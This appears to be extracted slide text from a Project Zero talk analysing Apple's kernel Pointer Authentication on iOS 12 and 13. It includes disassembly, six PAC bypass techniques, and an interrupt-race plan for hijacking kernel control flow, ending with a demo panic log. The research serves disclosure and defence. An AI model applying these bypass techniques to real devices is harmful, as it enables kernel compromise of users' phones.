

iOS Kernel PAC, One Year Later

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Project Zero

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Examining Pointer Authentication on the iPhone XS

Posted by Brandon Azad, Project Zero

In this post I examine Apple's implementation of Pointer Authentication on the A12 SoC used in the iPhone XS, with a focus on how Apple has improved over the ARM standard. I then demonstrate a way to use an arbitrary kernel read/write primitive to forge kernel PAC signatures for the A keys, which is sufficient to execute arbitrary code in the kernel using JOP. The technique I discovered was (mostly) fixed in iOS 12.1.3. In fact, this fix first appeared in the 16D5032a beta while my research was still ongoing.

ARMv8.3-A Pointer Authentication

Among the most exciting security features introduced with ARMv8.3-A is Pointer Authentication, a feature where the upper bits of a pointer are used to store a Pointer Authentication Code (PAC), which is essentially a cryptographic signature on the pointer value and some additional context. Special instructions have been introduced to add an authentication code to a pointer and to verify an authenticated pointer's PAC and restore the original pointer value. This gives the system a way to make cryptographically strong guarantees about the likelihood that certain pointers have been tampered with by attackers, which offers the possibility of greatly improving application security.

(Proper terminology dictates that the security feature is called Pointer Authentication while the cryptographic signature that is inserted into the unused bits of a pointer is called the Pointer Authentication

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A Study in PAC

Brandon Azad

MOSEC 2019

ARMv8.3-A Pointer Authentication

Pointer Authentication


0xffffffff01e335a5c

Pointer Authentication




0xffffffff01e335a5c

Pointer Authentication



0x2ab4ae701e335a5c

Pointer Authentication



0x2ab4ae**7**01e335a5c



PAC instructions

PACIA	X1, X8	Sign pointer in X1 with IA key and context X8
PACIZA	X1	Sign pointer in X1 with IA key and context 0
PACIBSP		Sign LR with IB key and context SP
AUTIA	X2, X8	Authenticate signed pointer in X2 with IA key and context X8
XPACI	X3	Strip the PAC from the pointer in X3 without validation
BLRAA	X4, X8	Authenticate X4 with context X8, then branch-with-link
LDRAA	X9, [X5]	Authenticate X5 with context 0, then load 64-bit value into X9
RETAB		Authenticate LR with IB key and context SP, then return

PAC in the iOS 12 kernel

PAC key use in XNU

IA	Global code pointer	Function pointers, vtable methods
IB	Thread-local code pointer	Return addresses
DA	Global data pointer	Vtable pointers
DB	Thread-local data pointer	(unused)
GA	Generic data	Thread saved state: PC, LR, CPSR

Virtual method calls

```
loc_FFFFFFFF0081632D0
STR      XZR, [SP,#0x30+target]
LDR      W2, [X19,#trap_args.index]
LDR      X8, [X21]
LDR      X8, [X8,#0x5C8]

ADD      X1, SP, #0x30+target
MOV      X0, X21
BLR      X8
LDR      X9, [SP,#0x30+target]
CMP      X0, #0
CCMP    X9, #0, #4, NE
B.EQ   loc_FFFFFFFF008163330
```

```
loc_FFFFFFFF0081670E0
STR      XZR, [SP,#0x30+target]
LDR      W2, [X19,#trap_args.index]
LDR      X8, [X20]
LDRAA   X9, [X8,#0x5C8]!
MOVK    X8, #0x2BCB,LSL#48
ADD      X1, SP, #0x30+target
MOV      X0, X20
BLRAA   X9, X8
LDR      X9, [SP,#0x30+target]
CMP      X0, #0
CCMP    X9, #0, #4, NE
B.EQ   loc_FFFFFFFF008167170
```

Signing saved thread state (kernel & user)

```
FFFFF0079BD090 ; void __fastcall sign_thread_state(arm_context *state, u64 pc, u64 cpsr, u64 lr)
FFFFF0079BD090 sign_thread_state                                ; CODE XREF: f1eh_dispatch64+9Ctp
FFFFF0079BD090                                              ; Lell_sp0_synchronous_vector_long_impl_S3_4_c15_
FFFFF0079BD090      PACGA          X1, X1, X0
FFFFF0079BD094      AND            X2, X2, #NOT 0x20000000 ; Carry flag
FFFFF0079BD098      PACGA          X1, X2, X1
FFFFF0079BD09C      PACGA          X1, X3, X1
FFFFF0079BD0A0      STR            X1, [X0,#arm_context.pac_sig]
FFFFF0079BD0A4      RET
FFFFF0079BD0A4 ; End of function sign_thread_state
FFFFF0079BD0A4
```

Verifying thread state signatures

```
FFFFF0079BD0A8 ; void __fastcall verify_thread_state(arm_context *state, u64 pc, u64 cpsr, u64 lr)
FFFFF0079BD0A8 verify_thread_state
FFFFF0079BD0A8 ; CODE XREF: exception_return+54↑p
FFFFF0079BD0A8 ; machine_load_context+4C↑p ...
FFFFF0079BD0A8 PACGA      X1, X1, X0
FFFFF0079BD0AC AND        X2, X2, #NOT 0x20000000 ; Carry flag
FFFFF0079BD0B0 PACGA      X1, X2, X1
FFFFF0079BD0B4 PACGA      X1, X3, X1
FFFFF0079BD0B8 LDR        X2, [X0,#arm_context.pac_sig]
FFFFF0079BD0BC CMP        X1, X2
FFFFF0079BD0C0 B.NE       loc_FFFFFFF0079BD0C8
FFFFF0079BD0C4 RET
FFFFF0079BD0C8 ;
FFFFF0079BD0C8 -----
FFFFF0079BD0C8 loc_FFFFFFF0079BD0C8 ; CODE XREF: verify_thread_state+18↑j
FFFFF0079BD0C8 MOV        X1, X0
FFFFF0079BD0CC ADR        X0, aJopHashMismatc ; "JOP Hash Mismatch Detected (PC, CPSR, or LR corruption)" ,0
FFFFF0079BD0D0 BL         panic_with_thread_kernel_state
FFFFF0079BD0D0 ; End of function verify_thread_state
FFFFF0079BD0D0 ;
FFFFF0079BD0D4 aJopHashMismatc DCB "JOP Hash Mismatch Detected (PC, CPSR, or LR corruption)" ,0
FFFFF0079BD0D4 ; DATA XREF: verify_thread_state+24↑o
FFFFF0079BD10C ALIGN 0x20
```

Exception return

```
FFFFF0079B3A40 exception_return ; CODE XREF: return_to_kernel:do_exception_return+  
FFFFF0079B3A40 ; user_set_debug_state_and_return+24↓j  
FFFFF0079B3A40 MSR #6, #0xF ; Disable exceptions  
FFFFF0079B3A44 MRS X3, #0, c13, c0, #4 ; TPIDR_EL1  
FFFFF0079B3A48 MOV SP, X21  
FFFFF0079B3A4C LDR X0, [X3,#thread.machine_cthread_data]  
FFFFF0079B3A50 STR X0, [SP,#arm_context.x18]  
FFFFF0079B3A54  
FFFFF0079B3A54 Lexception_return_restore_registers ; CODE XREF: ppltramp_dispatch+BC↓j  
FFFFF0079B3A54 LDR X0, [SP,#arm_context.pc]  
FFFFF0079B3A58 LDR W1, [SP,#arm_context.cpsr]  
FFFFF0079B3A5C LDR W2, [SP,#arm_context.fpsr]  
FFFFF0079B3A60 LDR W3, [SP,#arm_context.fpcr]  
FFFFF0079B3A64 MSR #0, c4, c0, #1, X0 ; ELR_EL1  
FFFFF0079B3A68 MSR #0, c4, c0, #0, X1 ; SPSR_EL1  
FFFFF0079B3A6C MSR #3, c4, c4, #1, X2 ; FPSR  
FFFFF0079B3A70 MSR #3, c4, c4, #0, X3 ; FPCR  
FFFFF0079B3A74 MOV X19, X0  
FFFFF0079B3A78 MOV X20, X1  
FFFFF0079B3A7C MOV X21, X2  
FFFFF0079B3A80 MOV X22, X3  
FFFFF0079B3A84 LDR X3, [SP,#arm_context.lr] ; lr  
FFFFF0079B3A88 MOV W2, W1 ; cpsr  
FFFFF0079B3A8C MOV X1, X0 ; pc  
FFFFF0079B3A90 MOV X0, SP ; state  
FFFFF0079B3A94 BL verify_thread_state  
FFFFF0079B3A98 MOV X0, X19  
FFFFF0079B3A9C MOV X1, X20
```

Best ROP
gadget ever!



```
FF0079B3B04 ; LDP Q12, Q13, [X0,#arm_context.d12]
FF0079B3B08 ; LDP Q14, Q15, [X0,#arm_context.d14]
FF0079B3B0C ; LDP Q16, Q17, [X0,#arm_context.q16]
FF0079B3B10 ; LDP Q18, Q19, [X0,#arm_context.q18]
FF0079B3B14 ; LDP Q20, Q21, [X0,#arm_context.q20]
FF0079B3B18 ; LDP Q22, Q23, [X0,#arm_context.q22]
FF0079B3B1C ; LDP Q24, Q25, [X0,#arm_context.q24]
FF0079B3B20 ; LDP Q26, Q27, [X0,#arm_context.q26]
FF0079B3B24 ; LDP Q28, Q29, [X0,#arm_context.q28]
FF0079B3B28 ; LDP Q30, Q31, [X0,#arm_context.q30]
FF0079B3B2C ; LDP X2, X3, [X0,#arm_context.x2]
FF0079B3B30 ; LDP X4, X5, [X0,#arm_context.x4]
FF0079B3B34 ; LDP X6, X7, [X0,#arm_context.x6]
FF0079B3B38 ; LDP X8, X9, [X0,#arm_context.x8]
FF0079B3B3C ; LDP X10, X11, [X0,#arm_context.x10]
FF0079B3B40 ; LDP X12, X13, [X0,#arm_context.x12]
FF0079B3B44 ; LDP X14, X15, [X0,#arm_context.x14]
FF0079B3B48 ; LDP X16, X17, [X0,#arm_context.x16]
FF0079B3B4C ; LDP X18, X19, [X0,#arm_context.x18]
FF0079B3B50 ; LDP X20, X21, [X0,#arm_context.x20]
FF0079B3B54 ; LDP X22, X23, [X0,#arm_context.x22]
FF0079B3B58 ; LDP X24, X25, [X0,#arm_context.x24]
FF0079B3B5C ; LDP X26, X27, [X0,#arm_context.x26]
FF0079B3B60 ; LDR X28, [X0,#arm_context.x28]
FF0079B3B64 ; LDP X29, X30, [X0,#arm_context.x29]
FF0079B3B68 ; LDR X1, [X0,#arm_context.sp]
FF0079B3B6C ; MOV SP, X1
FF0079B3B70 ; LDP X0, X1, [X0,#arm_context.x0]
FF0079B3B74 ; ERET
FF0079B3B74 ; End of function exception_return
FF0079B3B74
```

Exception return

```
FFFFF0079B3A40 exception_return ; CODE XREF: return_to_kernel:do_exception_return+  
FFFFF0079B3A40 ; user_set_debug_state_and_return+24↓j  
FFFFF0079B3A40 MSR #6, #0xF ; Disable exceptions  
FFFFF0079B3A44 MRS X3, #0, c13, c0, #4 ; TPIDR_EL1  
FFFFF0079B3A48 MOV SP, X21  
FFFFF0079B3A4C LDR X0, [X3,#thread.machine_cthread_data]  
FFFFF0079B3A50 STR X0, [SP,#arm_context.x18]  
FFFFF0079B3A54  
FFFFF0079B3A54 Lexception_return_restore_registers ; CODE XREF: ppltramp_dispatch+BC↓j  
FFFFF0079B3A54 LDR X0, [SP,#arm_context.pc]  
FFFFF0079B3A58 LDR W1, [SP,#arm_context.cpsr]  
FFFFF0079B3A5C LDR W2, [SP,#arm_context.fpsr]  
FFFFF0079B3A60 LDR W3, [SP,#arm_context.fpcr]  
FFFFF0079B3A64 MSR #0, c4, c0, #1, X0 ; ELR_EL1  
FFFFF0079B3A68 MSR #0, c4, c0, #0, X1 ; SPSR_EL1  
FFFFF0079B3A6C MSR #3, c4, c4, #1, X2 ; FPSR  
FFFFF0079B3A70 MSR #3, c4, c4, #0, X3 ; FPCR  
FFFFF0079B3A74 MOV X19, X0  
FFFFF0079B3A78 MOV X20, X1  
FFFFF0079B3A7C MOV X21, X2  
FFFFF0079B3A80 MOV X22, X3  
FFFFF0079B3A84 LDR X3, [SP,#arm_context.lr] ; lr  
FFFFF0079B3A88 MOV W2, W1 ; cpsr  
FFFFF0079B3A8C MOV X1, X0 ; pc  
FFFFF0079B3A90 MOV X0, SP ; state  
FFFFF0079B3A94 BL verify_thread_state  
FFFFF0079B3A98 MOV X0, X19  
FFFFF0079B3A9C MOV X1, X20
```

iOS 12 PAC bypasses

iOS 12 kernel PAC bypasses

PAC signing gadget	1
PAC bruteforce gadget	1
Thread state signing gadget	2
Unprotected indirect branch	1
Implementation bug	1

A Study in PAC, bypass #1: signing gadget

```
sysctl_unregister_oid  
...  
LDR      X10, [X9,#0x30]!  
CBNZ    X19, loc_FFFFFFFF007EBD330  
CBZ     X10, loc_FFFFFFFF007EBD330  
MOV      X19, #0  
MOV      X11, X9  
MOVK    X11, #0x14EF, LSL#48  
AUTIA   X10, X11  
PACIZA  X10  
STR      X10, [X9]
```

A Study in PAC, bypass #1: signing gadget

`sysctl_unregister_oid`

```
...
LDR    X10, [X9,#0x30]!
CBNZ   X19, loc_FFFFFFFF007EBD330
CBZ    X10, loc_FFFFFFFF007EBD330
MOV    X19, #0
MOV    X11, X9
MOVK   X11, #0x14EF, LSL#48
AUTIA  X10, X11
PACIZA X10
STR    X10, [X9]
```


AUTIA doesn't fault;
AUTIA+PACIZA is a
signing gadget

A Study in PAC, bypass #2: bruteforce gadget

```
sysctl_unregister_oid  
...  
LDR      X10, [X9,#0x30]!  
...  
MOV      X11, X9  
MOVK    X11, #0x14EF, LSL#48  
MOV      X12, X10  
AUTIA   X12, X11  
XPACI   X10  
CMP      X12, X10  
PACIZA  X10  
CSEL    X10, X10, X12, EQ  
STR     X10, [X9]
```

A Study in PAC, bypass #2: bruteforce gadget

`sysctl_unregister_oid`



Can be called
repeatedly until we
guess the right PAC

A Study in PAC, bypass #3: state signing gadget

```
copyio_error
...
RETAB

__bcopyin
PACIBSP
STP      X29, X30, [SP,#-0x10]!
MOV      X29, SP
MRS      X10, TPIDR_EL1    ;; thread
LDR      X11, [X10,#thread.recover]
ADRL    X3, copyio_error
STR      X3, [X10,#thread.recover]
...
```

A Study in PAC, bypass #3: state signing gadget

```
copyio_error
```

```
...
```

```
RETAB
```

```
_bcopyin
```

```
PACIBSP
```

```
STP      X29, X30, [SP,#-0x10]!
MOV      X29, SP
MRS      X10, TPIDR_EL1    ; thread
LDR      X11, [X10,#thread.recover]
ADRL    X3, copyio_error
STR      X3, [X10,#thread.recover]
```

```
...
```

Unprotected code
pointer used for
control flow

A Study in PAC, bypass #4: unprotected branch

```
ipc_kmsg_clean_body
...
ADR      x25, jpt_FFFFFFFF0079CFAF0
...
BL       ipc_port_release_receive
...
CMP      w9, #3 ; switch 4 cases
B.HI    def_FFFFFFFF0079CFAF0
LDRSW   x9, [x25,x9,LSL#2]
ADD     x9, x9, x25
BR      x9          ; switch jump
```

A Study in PAC, bypass #4: unprotected branch

ipc_kmsg_clean_body

...

ADR x25, jpt_FFFFFFFF0079CFAF0

...

BL ipc_port_release_receive

...

CMP w9, #3 ; switch 4 cases

B.HI def_FFFFFFFF0079CFAF0

LDRSW X9, [X25,X9,LSL#2]

ADD X9, x9, x25

BR x9 ; switch jump

Unprotected
indirect branch

A Study in PAC, bypass #4: unprotected branch

ipc_kmsg_clean_body

```
...
ADR    x25, jpt_FFFFFFFF0079CFAF0
...
BL     ipc_port_release_receive
...
CMP    w9, #3 ; switch 4 cases
B.HI   def_FFFFFFFF0079CFAF0
LDRSW  X9, [X25,X9,LSL#2]
ADD    X9, x9, x25
BR     x9          ; switch jump
```

Function call spills
X25 (jump table) to
the stack

Unprotected
indirect branch

A Study in PAC, bypass #5: state signing gadget

```
machine_thread_create(thread *thread, ...)  
{  
    user_state = zalloc(user_ss_zone);  
  
    thread->machine.upcb = user_state;  
  
    user_state = thread->machine.upcb;  
  
    sign_thread_state(user_state,  
                      user_state->pc,  
                      user_state->cpsr,  
                      user_state->lr);  
}
```

A Study in PAC, bypass #5: state signing gadget

```
machine_thread_create(thread *thread, ...)  
{  
    user_state = zalloc(user_ss_zone);  
  
    thread->machine.upcb = user_state;  
  
    user_state = thread->machine.upcb;  
  
    sign_thread_state(user_state,  
                      user_state->pc,  
                      user_state->cpsr,  
                      user_state->lr);  
}
```

Interrupts are
enabled

Signing saved thread state (kernel & user)

```
FFFFF0079BD090 ; void __fastcall sign_thread_state(arm_context *state, u64 pc, u64 cpsr, u64 lr)
FFFFF0079BD090 sign_thread_state                                ; CODE XREF: f1eh_dispatch64+9Ctp
FFFFF0079BD090                                              ; Lell_sp0_synchronous_vector_long_impl_S3_4_c15_
FFFFF0079BD090      PACGA          X1, X1, X0
FFFFF0079BD094      AND            X2, X2, #NOT 0x20000000 ; Carry flag
FFFFF0079BD098      PACGA          X1, X2, X1
FFFFF0079BD09C      PACGA          X1, X3, X1
FFFFF0079BD0A0      STR            X1, [X0,#arm_context.pac_sig]
FFFFF0079BD0A4      RET
FFFFF0079BD0A4 ; End of function sign_thread_state
FFFFF0079BD0A4
```

A Study in PAC, bypass #5: state signing gadget

```
machine_thread_create(thread *thread, ...)  
{  
    user_state = zalloc(user_ss_zone);  
  
    thread->machine.upcb = user_state;  
  
    user_state = thread->machine.upcb;  
  
    sign_thread_state(user_state,  
                      user_state->pc,  
                      user_state->cpsr,  
                      user_state->lr);  
}
```

Interrupts are
enabled

A Study in PAC, bypass #5: state signing gadget

```
machine_thread_create(thread *thread, ...)  
{  
    user_state = zalloc(user_ss_zone);  
  
    thread->machine.upcb = user_state;  
  
    user_state = thread->machine.upcb;  
  
    sign_thread_state(user_state,  
                      user_state->pc,  
                      user_state->cpsr,  
                      user_state->lr);  
}
```

Parameters to sign
are read from
memory

Attacking iPhone XS Max bypass: validation bug

```
jopdetector ; CODE XREF: sub_FFFFFFFF0079FFA40+54↑p  
; machine_load_context+4C↑p ...  
PACGA X1, X1, X0  
AND X2, X2, #0xFFFFFFFFDFFFFFFF  
PACGA X1, X2, X1  
PACGA X1, X3, X1  
LDR X2, [X0,#0x128]  
CMP X1, X2  
RET  
; End of function jopdetector  
;  
MOV X1, X0  
ADR X0, aJopHashMismatc ; "JOP Hash Mismatch Detected (PC, CPSR, o"..."  
BL callPanic  
;  
aJopHashMismatc DCB "JOP Hash Mismatch Detected (PC, CPSR, or LR corruption)",0  
; DATA XREF: __text:FFFFFFF007A090C8↑o  
ALIGN 0x20
```

Attacking iPhone XS Max bypass: validation bug

```
jopdetector ; CODE XREF: sub_FFFFFFFF0079FFA40+54↑p  
; machine_load_context+4C↑p ...  
PACGA X1, X1, X0  
AND X2, X2, #0xFFFFFFFFDFFFFFFF  
PACGA X1, X2, X1  
PACGA X1, X3, X1  
LDR X2, [X0,#0x128]  
CMP X1, X2  
RET  
; End of function jopdetector  
;  
MOV X1, X0  
ADR X0, aJopHashMismatc ; "JOP Hash Mismatch Detected (PC, CPSR, o"..."  
BL callPanic  
;  
aJopHashMismatc DCB "JOP Hash Mismatch Detected (PC, CPSR, or LR corruption)",0  
; DATA XREF: __text:FFFFFFF007A090C8↑o  
ALIGN 0x20
```

Attacking iPhone XS Max bypass: validation bug

```
jopdetector ; CODE XREF: sub_FFFFFFFF007A090C8+54↑p  
; machine_load_context  
PACGA X1, X1, X0  
AND X2, X2, #0xFFFFFFFFDFFFFFFF  
PACGA X1, X2, X1  
PACGA X1, X3, X1  
LDR X2, [X0,#0x128]  
CMP X1, X2  
RET  
; End of function jopdetector  
;  
MOV X1, X0  
ADR X0, aJopHashMismatc ; "JOP Hash Mismatch Detected (PC, CPSR, or..."  
BL callPanic  
;  
aJopHashMismatc DCB "JOP Hash Mismatch Detected (PC, CPSR, or LR corruption)",0  
; DATA XREF: __text:FFFFFFFFFF007A090C8↑o  
ALIGN 0x20
```



iOS 13 changes


PAC key use in XNU

IA	Global code pointer	Function pointers, vtable methods
IB	Thread-local code pointer	Return addresses
DA	Global data pointer	Vtable pointers
DB	Thread-local data pointer	(unused)
GA	Generic data	Thread saved state: PC, LR, CPSR, X16, X17

New protected registers

Signing saved thread state in iOS 13

```
FFFFF0081C591C ; void __fastcall __spoils<X1,X2> sign_thread_state(arm_context *arm_context, u64 pc, u64
FFFFF0081C591C sign_thread_state                                ; CODE XREF: ast_400+F4↑p
FFFFF0081C591C                                         ; stack_alloc+1C↑p ...
FFFFF0081C591C             PACGA      X1, X1, X0 ; pc
FFFFF0081C5920             AND        X2, X2, #NOT 0x20000000
FFFFF0081C5924             PACGA      X1, X2, X1 ; cpsr
FFFFF0081C5928             PACGA      X1, X3, X1 ; lr
FFFFF0081C592C             PACGA      X1, X4, X1 ; x16
FFFFF0081C5930             PACGA      X1, X5, X1 ; x17
FFFFF0081C5934             STR        X1, [X0,#arm_context.pac_signature]
FFFFF0081C5938             RET
FFFFF0081C5938 ; End of function sign_thread_state
FFFFF0081C5938
```



X16 and X17 should now be safe
from modification during an interrupt

Hardened switch statements

ipc_kmsg_clean_body

```
...
ADR      X25, jpt_FFFFFFFF0079CFAF0
...
...
CMP      W9, #3 ; switch 4 cases
B.HI    def_FFFFFFFF0079CFAF0
LDRSW   X9, [X25,X9,LSL#2]
ADD     X9, X9, X25
BR      X9      ; switch jump
```

ipc_kmsg_clean_body

```
...
CMP      W16, #4 ; switch 5 cases
B.HI    def_FFFFFFFF007B8F8B0
CMP      X16, #4
CSEL    X16, X16, XZR, LS
ADR      X17, jpt_FFFFFFFF007B8F8B0
NOP
LDRSW   X16, [X17,X16,LSL#2]
ADD     X16, X17, X16
BR      X16      ; switch jump
```



Unprotected indirect branches only
use X16 and X17

Analyzing PAC on iOS 13

A Study in PAC, bypass 5: state signing gadget

```
machine_thread_create(thread *thread, ...)  
{  
    user_state = zalloc(user_ss_zone);  
  
    thread->machine.upcb = user_state;  
  
    user_state = thread->machine.upcb;  
  
    sign_thread_state(user_state,  
                      user_state->pc,  
                      user_state->cpsr,  
                      user_state->lr);  
}
```


Bypass 5 fix

```
machine_thread_create(thread *thread, ...)  
{  
    user_state = zalloc(user_ss_zone);  
  
    thread->machine.upcb = user_state;  
  
    user_state = thread->machine.upcb;  
  
    sign_thread_state(user_state, 0, 0, 0, 0, 0, 0);  
  
}
```

Bypass 5 fix


```
machine_thread_create(thread *thread, ...)  
{  
    user_state = zalloc(user_ss_zone);  
  
    thread->machine.upcb = user_state;  
  
    user_state = thread->machine.upcb;  
  
    sign_thread_state(user_state, 0, 0, 0, 0, 0, 0);  
  
}
```

Issue: Interrupts
are still enabled!



Bypass 5 fix (assembly)


```
machine_thread_state_initialize  
...  
LDR      X0, [X19,#thread.upcb] ; arm_context  
CBZ      X0, loc_FFFFFFFF007CD2A34  
MOV      W2, #0    ; cpsr  
MOV      X1, #0    ; pc  
MOV      X3, #0    ; lr  
MOV      X4, #0    ; x16  
MOV      X5, #0    ; x17  
BL       sign_thread_state  
...
```



Imagine getting an interrupt here


Interrupt exceptions

```
ell_sp0_fiq_vector_long  
...  
    STP      X0, X1, [SP,#arm_context.x0]  
...  
    ADRL    X1, fleh_fiq  
    B       fleh_dispatch64  
  
fleh_dispatch64  
    STP      X2, X3, [X0,#arm_context.x2]  
    STP      X4, X5, [X0,#arm_context.x4]  
    STP      X6, X7, [X0,#arm_context.x6]  
    STP      X8, X9, [X0,#arm_context.x8]  
...
```



Interrupt exceptions

```
ell_sp0_fiq_vector_long  
...  
    STP      X0, X1, [SP,#arm_context.x0]  
...  
    ADRL    X1, fleh_fiq  
    B       fleh_dispatch64  
  
fleh_dispatch64  
    STP      X2, X3, [X0,#arm_context.x2]  
    STP      X4, X5, [X0,#arm_context.x4]  
    STP      X6, X7, [X0,#arm_context.x6]  
    STP      X8, X9, [X0,#arm_context.x8]  
...
```



Bypass #6: Interrupts during thread state signing

```
machine_thread_state_initialize  
...  
LDR    X0, [X19,#thread.upcb] ; arm_context  
CBZ    X0, loc_FFFFFFFF007CD2A34  
MOV    W2, #0   ; cpsr  
MOV    X1, #0   ; pc  
MOV    X3, #0   ; lr  
MOV    X4, #0   ; x16  
MOV    X5, #0   ; x17  
BL     sign_thread_state  
...
```

An interrupt here would spill X0-X5, allowing an attacker to change the parameters being signed

Finding a better interrupt point

```
void thread_state64_to_saved_state(new_state, thread_state)
{
    ...
    new_pc = new_state->pc;
    x16 = thread_state->x16;
    x17 = thread_state->x17;
    cpsr = thread_state->cpsr;
    lr = thread_state->lr;
    verify_thread_state(thread_state, thread_state->pc, cpsr,
                        lr, x16, x17);
    thread_state->pc = new_pc;
    sign_thread_state(thread_state, new_pc, cpsr,
                      lr, x16, x17);
}
```

```
thread_state64_to_saved_state
...
    MOV      X8, X30
    MOV      X0, X9 ; arm_context *
    LDP      X4, X5, [X0,#arm_context.x16] ; x17
    LDR      X6, [X0,#arm_context.pc]
    LDR      W7, [X0,#arm_context.cpsr]
    LDR      X3, [X0,#arm_context.lr] ; lr
    MOV      X1, X6 ; pc
    MOV      W2, W7 ; cpsr
    BL       verify_thread_state
    MOV      X1, X6
    MOV      W2, W7 ; cpsr
    MOV      X1, X11 ; pc
    STR      X1, [X0,#arm_context.pc]
    BL       sign_thread_state
    MOV      X30, X8
...
RET
```

thread_state64_to_saved_state

```
...
    MOV    X8, X30
    MOV    X0, X9 ; arm_context *
    LDP    X4, X5, [X0,#arm_context.x16] ; x17
    LDR    X6, [X0,#arm_context.pc]
    LDR    W7, [X0,#arm_context.cpsr]
    LDR    X3, [X0,#arm_context.lr] ; lr
    MOV    X1, X6 ; pc
    MOV    W2, W7 ; cpsr
    BL     verify_thread_state
    MOV    X1, X6
    MOV    W2, W7 ; cpsr
    MOV    X1, X11 ; pc
    STR    X1, [X0,#arm_context.pc]
    BL     sign_thread_state
    MOV    X30, X8
...
RET
```

LR (X30) saved to
X8 during function
calls

thread_state64_to_saved_state

```
...
    MOV    X8, X30
    MOV    X0, X9 ; arm_context *
    LDP    X4, X5, [X0,#arm_context.x16] ; x17
    LDR    X6, [X0,#arm_context.pc]
    LDR    W7, [X0,#arm_context.cpsr]
    LDR    X3, [X0,#arm_context.lr] ; lr
    MOV    X1, X6 ; pc
    MOV    W2, W7 ; cpsr
    BL     verify_thread_state
    MOV    X1, X6
    MOV    W2, W7 ; cpsr
    MOV    X1, X11 ; pc
    STR    X1, [X0,#arm_context.pc]
    BL     sign_thread_state
    MOV    X30, X8
...
RET
```

LR (X30) saved to
X8 during function
calls

X8 can be changed
during an interrupt!

Bypass #6 idea


- Thread A: Pin to CPU #4 (receives many interrupts)
- Thread B: Pin to CPU #5 (receives few interrupts)
- Thread A: Loop on `thread_set_state()`
- Thread B: Monitor CPU #4's `cpu_data` for an interrupt
- Thread A: Gets interrupted just before "MOV X30, X8"
- Thread B: Overwrite CPU #4's saved X8 register value
- Thread A: Returns from interrupt handler, resumes at "MOV X30, X8"
- Thread A: Executes "RET", jumps to arbitrary PC

```
thread_state64_to_saved_state
...
MOV      x8, x30
...
MOV      x30, x8
...
RET
```

```
machine_thread_set_state
...
BL       thread_state64_to_saved_state
...
```

Kernel

User



thread_set_state()


Thread A (CPU 4)

```
if (cpu_4_interrupted)
overwrite_saved_x8()
```

Thread B (CPU 5)

```
thread_state64_to_saved_state
...
MOV      x8, x30
...
MOV      x30, x8
...
RET
```

Kernel
User




thread_set_state()


Thread A (CPU 4)


```
machine_thread_set_state
...
BL       thread_state64_to_saved_state
...
```


```
if (cpu_4_interrupted)
overwrite_saved_x8()
```


Thread B (CPU 5)


















X0
X1
X2
⋮
⋮
X8
⋮
⋮
X29
LR
SP
PC
CPSR
pac_sig

Kernel
User



thread_set_state()

Thread A (CPU 4)

thread_state64_to_saved_state

...
MOV x8, x30

...
MOV x30, x8

...
RET

machine_thread_set_state


...
BL thread_state64_to_saved_state
...

if (cpu_4_interrupted)
overwrite_saved_x8()

Thread B (CPU 5)

X0
X1
X2
:
:
X8
:
:
X29
LR
SP
PC
CPSR
pac_sig

Kernel
User



thread_set_state()

Thread A (CPU 4)

```

thread_state64_to_saved_state
...
MOV      x8, x30
...
MOV      x30, x8
...
RET

```

→

```

machine_thread_set_state
...
BL      thread_state64_to_saved_state
...

```

CPU 4:
Execute interrupt
handler

```

ell_sp0_fiq_vector_long
...
ERET

```

```


if (cpu_4_interrupted)
overwrite_saved_x8()

```

Thread B (CPU 5)

X0
X1
X2
:
:
X8
:
:
X29
LR
SP
PC
CPSR
pac_sig

Kernel
User



thread_set_state()

Thread A (CPU 4)

```

thread_state64_to_saved_state
...
MOV      x8, x30
...
MOV      x30, x8
...
RET

```

► machine_thread_set_state

...
BL thread_state64_to_saved_state
...

CPU 4:
Execute interrupt
handler

```

ell_sp0_fiq_vector_long
...
ERET


```

► if (cpu_4_interrupted)
overwrite_saved_x8()

Thread B (CPU 5)

X0
X1
X2
:
:
X8
:
:
X29
LR
SP
PC
CPSR
pac_sig

Kernel
User



thread_set_state()

Thread A (CPU 4)

thread_state64_to_saved_state

...
MOV x8, x30

...
MOV x30, x8

...

RET

machine_thread_set_state

...

BL

thread_state64_to_saved_state

...

CPU 4:
Execute interrupt
handler

ell_sp0_fiq_vector_long



...

ERET

if (cpu_4_interrupted)
overwrite_saved_x8()

Thread B (CPU 5)

X0
X1
X2
:
:
X8
:
:
X29
LR
SP
PC
CPSR
pac_sig

Kernel
User



thread_set_state()

Thread A (CPU 4)

thread_state64_to_saved_state

...
MOV x8, x30

...
MOV x30, x8

...

RET

machine_thread_set_state

...

BL

...

thread_state64_to_saved_state

CPU 4:
Execute interrupt
handler

ell_sp0_fiq_vector_long



...


ERET

if (cpu_4_interrupted)
overwrite_saved_x8()

Thread B (CPU 5)

X0
X1
X2
:
:
X8
:
:
X29
LR
SP
PC
CPSR
pac_sig

Kernel
User



thread_set_state()

Thread A (CPU 4)

```
thread_state64_to_saved_state
...
MOV      x8, x30
...
MOV      x30, x8
...
RET
```

```
machine_thread_set_state
...
BL       thread_state64_to_saved_state
...
```

CPU 4:
Execute interrupt
handler


```
ell_sp0_fiq_vector_long
...
ERET
```

```
if (cpu_4_interrupted)
overwrite_saved_x8()
```

Thread B (CPU 5)

X0
X1
X2
⋮
⋮
X8
⋮
⋮
X29
LR
SP
PC
CPSR
pac_sig

Kernel
User



thread_set_state()

Thread A (CPU 4)

thread_state64_to_saved_state

...
MOV x8, x30

...
MOV x30, x8

...

RET

machine_thread_set_state

...

BL thread_state64_to_saved_state

...

CPU 4:
Execute interrupt
handler

ell_sp0_fiq_vector_long

...


► ERET

if (cpu_4_interrupted)
overwrite_saved_x8()

Thread B (CPU 5)

X0
X1
X2
⋮
⋮
X8
⋮
⋮
X29
LR
SP
PC
CPSR
pac_sig

Kernel
User



thread_set_state()

Thread A (CPU 4)

thread_state64_to_saved_state

...
MOV x8, x30

...
MOV x30, x8

...

RET

CPU 4:
Execute interrupt
handler

ell_sp0_fiq_vector_long

...

► ERET

machine_thread_set_state


...


BL thread_state64_to_saved_state


...


if (cpu_4_interrupted)
overwrite_saved_x8()


Thread B (CPU 5)














DEMO

< panic-full-2020-02-17-132114.... 

```
"build" : "iPhone OS 13.3 (17C54)",
"product" : "iPhone12,3",
"kernel" : "Darwin Kernel Version 19.2.0: Mon Nov 4 17:46:45 PST 2019;
root:xnu-6153.60.66~39/RELEASE_ARM64_T8030",
"incident" : "30E07616-66A8-425C-8D40-4B570531CDF5",
"crashReporterKey" : "bc51922c773e3ee642f1e730544045c6bd181e49",
"date" : "2020-02-17 13:21:12.40 -0800",
